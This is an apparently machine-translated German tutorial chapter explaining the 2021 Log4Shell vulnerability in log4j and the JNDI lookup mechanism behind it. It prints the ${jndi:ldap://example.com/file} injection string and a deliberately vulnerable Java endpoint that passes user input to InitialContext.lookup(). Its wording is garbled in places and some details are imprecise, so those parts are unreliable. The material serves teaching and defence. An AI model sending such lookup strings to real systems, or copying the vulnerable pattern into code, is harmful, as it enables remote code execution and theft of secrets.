7.1 Skandal
Und natürlich ist es unmöglich, nicht über die Geschichte zu sprechen, die sich erst vor kurzem – Ende 2021 – zugetragen hat.
Die US-amerikanische Cybersecurity and Infrastructure Protection Agency (CISA) sagte, das Problem Log4Shellhandele sich um eine der schwerwiegendsten Schwachstellen in der Geschichte. Ja, wir reden über unsere Lieblingsbibliothek log4j.
Unsere gemütliche kleine Bibliothek log4j und die größte Schwachstelle der Geschichte ? Fasziniert? Dann hör zu.
7.2 Ausmaß der Katastrophe
Die Entdeckung einer kritischen Sicherheitslücke Log4Shell(Code CVE-2021-44228) wurde am 9. Dezember 2021 von Lunasec-Sicherheitsexperten bekannt gegeben. Experten der Java-Community des Apache Security Team haben diese Informationen überprüft und eine Liste anfälliger Java-Bibliotheken veröffentlicht. Die Liste war einfach riesig.
Wenn ein Java-Projekt eine Bibliothek verwendet log4j, könnte diese relativ leicht gehackt werden. Und da fast die gesamte Serversoftware im beliebtesten Java-Logger geschrieben ist Java, log4jwaren laut Sicherheitsexperten 93 % der Cloud-Umgebungen von Unternehmen von der Schwachstelle betroffen. Darunter Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam und viele mehr
Darüber hinaus betraf die Schwachstelle nicht nur Serversoftware, sondern auch viele Java-Anwendungen sowie Hardwarehersteller. Intel hat beispielsweise eine Liste von 32 hackbaren Programmen veröffentlicht: SDKs, Serverwartungssysteme, Linux-Tools.
Nvidia hat außerdem einen Bericht über Sicherheitsprobleme veröffentlicht, in dem DGX-Server und NetQ-Tools erwähnt werden. Eine Reihe von Updates wurden dringend von Apple und Microsoft veröffentlicht.
Grob gesagt gibt eine Zeile in der Adressleiste des Browsers eines Schülers den Server an, wenn diese Zeile vom Logger gefressen wird (auf vielen Servern wird alles protokolliert HTTP-requests).
Nach der Analyse des Codes stellte sich heraus, dass die Schwachstelle bereits seit 2013 in der Bibliothek vorhanden war, sie bemerkten es jedoch erst jetzt. Und als sie tiefer zu graben begannen, entdeckten sie einen Abgrund, dessen Grund überhaupt nicht sichtbar ist.
7.3 Die schwerwiegendste Sicherheitslücke der Geschichte
Bereits im Dezember 2021 erklärte die US-amerikanische Cybersecurity and Infrastructure Protection Agency (CISA), dass Log4Shelles sich um eine der schwerwiegendsten Schwachstellen in der Geschichte handele .
Viele andere Experten vertreten eine ähnliche Meinung . Jeder kennt diese Sicherheitslücke und Hacker jeden Alters nutzen sie bereits, um persönliche Daten zu stehlen und andere Arten von Angriffen auf verschiedene Organisationen durchzuführen. In Zukunft erwartet uns eine Welle massiver Hacks und Datenlecks.
Das Ausmaß der Katastrophe lässt sich schon daran ablesen, dass es eine eigene Seite mit Memes zu Log4j gibt und es jeden Tag neue Bilder gibt.
Dieses Problem beschäftigt uns schon seit langem. Eine Sicherheitslücke in Millionen, wenn nicht Hunderten Millionen Computersystemen. Die gesamte alte Software muss aktualisiert und zumindest diese Bibliothek dort ersetzt werden. Aber in den meisten Fällen weiß niemand, welche Bibliotheken und welche Versionen in seiner Software verwendet werden.
Generell rechnen wir mit einem starken Anstieg der Gehälter von Computersicherheitsspezialisten.
7.4 Art der Verwundbarkeit
Um das Wesen der Schwachstelle zu verstehen, müssen Sie verstehen, wie große Serversysteme aufgebaut sind. Häufig sind solche Serveranwendungen in verschiedene Dienste unterteilt, die sich auf verschiedenen Servern befinden. Und der JNDI-Dienst hilft ihnen bei der Interaktion.
Java Naming and Directory Interface (JNDI) dient Java APIder Suche nach Objekten/Diensten nach Namen. Diese Objekte können in verschiedenen Namensdiensten oder Verzeichnissen wie Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP) oder Domain Name Service (DNS) gespeichert werden.
Die Arbeit damit ist sehr einfach – es ist einfach und Java APIbenötigt nur einen String-Parameter – den Namen des Dienstes. Damit können Sie jeden Dienst kontaktieren und ihn bitten, etwas zu tun und/oder Daten zu senden. Beispielsweise ${jndi:ldap://example.com/file}lädt string Daten aus der URLin der Zeichenfolge angegebenen Datei.
Wenn der Parameter aus einer nicht vertrauenswürdigen Quelle stammt, kann dies zum Remote-Laden von Klassen und zur Codeausführung von Drittanbietern führen . Was passiert im Fall von Log4j. Der Angreifer leitet einfach die Java-Anwendung des Opfers an die bösartige Anwendung weiter rmi/ldap/corba-serverund erhält als Antwort ein bösartiges Objekt.
Technisch gesehen liegt das Problem hier nicht in log4jder Bibliothek selbst, sondern in den Sicherheitseinstellungen beim Arbeiten mit JNDI-service. Sie müssen immer überprüfen, an welche Art von Zeichenfolge wir übergeben InitialContext.lookup().
Verletzliches Beispiel JNDI-applications:
@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
return new javax.naming.InitialContext().lookup(name);
}
7.5 Zu intelligente Bibliothek
Und wo log4jfragst du? Tatsache ist, dass die Entwickler die Arbeit damit so komfortabel wie möglich gestalten wollten und intelligente Protokollierung hinzugefügt haben. So funktioniert das:
Alles begann damit, dass Sie mit Protokollnachrichten eine Vorlage festlegen konnten, in der Daten ersetzt wurden, zum Beispiel:
log.debug(“User {user} has {count} friends”, user, count);
Die alte Version ohne Datenersetzung sah so aus:
log.debug( “User “+user +” has “+ count +” friends”);
Im Jahr 2013 wurde der Bibliothek auch die durch die Ansichtsvorlage angegebene Ersetzung intelligenter Präfixe hinzugefügt ${prefix:name}. Beispielsweise “${java:version}”wird die Zeichenfolge in konvertiert «Java version 1.7.0_67». Oh, wie praktisch.
Zu den erkannten Ausdrücken gehören, ${jndi:<lookup>}dass Sie nach dem JNDI-Protokoll eine Suche angeben können LDAP: Beliebige Ausdrücke URL-addresskönnen abgefragt und als Objektdaten geladen werden Java.
Dies ist ein Standardproblem des gesamten Ansatzes JDK: Es deserialisiert automatisch ein Objekt, auf das ein Link in Form einer URL gesetzt werden kann. In diesem Fall werden nicht nur die Daten des Objekts von der Remote-Ressource geladen, sondern auch der Code seiner Klasse.
Der Hack sieht so aus:
- Herunterladen einer Datei mit Schadcode
- Die Datei enthält eine serialisierte Datei
Java an object(und ihre Klasse). - Die Klasse wird geladen
Java-machine - Es wird ein Objekt einer bösartigen Klasse erstellt
- Der Konstruktor des Objekts wird aufgerufen
- Sowohl der Konstruktor als auch die statische Initialisierung ermöglichen die Ausführung von schädlichem Klassencode
Wenn sich in der Zeile, die protokolliert wird , log4jso etwas befindet ${jndi:ldap://example.com/file}, werden bei der Verbindung mit dem Internet log4jDaten von dieser heruntergeladenURL-address . Durch die Eingabe einer protokollierten Zeichenfolge kann ein Angreifer bösartigen Code herunterladen und ausführen, der auf einem öffentlichen Server gehostet wird URL-address.
Selbst wenn die Datenausführung deaktiviert ist, kann ein Angreifer Daten, wie z. B. geheime Umgebungsvariablen, erhalten, indem er sie in einem ablegt URL-address, das sie ersetzt und an den Server des Angreifers sendet.
Die gute Nachricht ist, dass das Problem in der Bibliothek schnell behoben wurde .
Die schlechte Nachricht ist, dass Millionen von Servern auf der ganzen Welt immer noch die alte Version dieser Bibliothek ausführen ...
GO TO FULL VERSION